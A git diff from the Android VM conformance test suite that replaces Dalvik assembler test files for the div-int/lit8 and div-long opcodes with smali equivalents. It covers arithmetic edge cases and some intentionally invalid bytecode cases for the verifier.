diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d
deleted file mode 100644
index 458cfb1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_4.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -10
-       div-int/lit8 v0, v2, 3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali
new file mode 100644
index 0000000..23f5613
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit8 v0, v2, 3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d
deleted file mode 100644
index 3901a7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_5.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741824
-       div-int/lit8 v0, v2, -3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali
new file mode 100644
index 0000000..c4ceb41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit8 v0, v2, -3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d
deleted file mode 100644
index 35f9c63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_6.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -17895697
-       div-int/lit8 v0, v2, -30
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali
new file mode 100644
index 0000000..35cb679
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit8 v0, v2, -30
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d
deleted file mode 100644
index 0d4f492..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_7.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali
new file mode 100644
index 0000000..0ac82f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d
deleted file mode 100644
index ee80b01..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_8.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali
new file mode 100644
index 0000000..c300493
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d
deleted file mode 100644
index 466cf0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_9.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 2147483647
-       div-int/lit8 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali
new file mode 100644
index 0000000..3ee0e5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d
deleted file mode 100644
index fdf2445..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_1.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali
new file mode 100644
index 0000000..994e7ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_1.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d
deleted file mode 100644
index e72e2a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       div-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali
new file mode 100644
index 0000000..f898d6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d
deleted file mode 100644
index 6a43649..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_3.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 1234
-       div-long v0, v10, v12
-       return-wide v12
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali
new file mode 100644
index 0000000..2ee3000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_3.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 1234
+       div-long v0, v10, v12
+       return-wide v12
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d
deleted file mode 100644
index 409b45a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_4.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 3.14
-       div-long v0, v10, v12
-       return-wide v12
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali
new file mode 100644
index 0000000..b00da71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_long/d/T_div_long_4;
+.super Ljava/lang/Object;
+.source "T_div_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    div-long v0, p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d
deleted file mode 100644
index 648b110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_5.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali
new file mode 100644
index 0000000..5607759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_5.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d
deleted file mode 100644
index b2a6d0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_6.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali
new file mode 100644
index 0000000..342f8b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_6.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v14
+       return-wide v0
+.end method
+
+
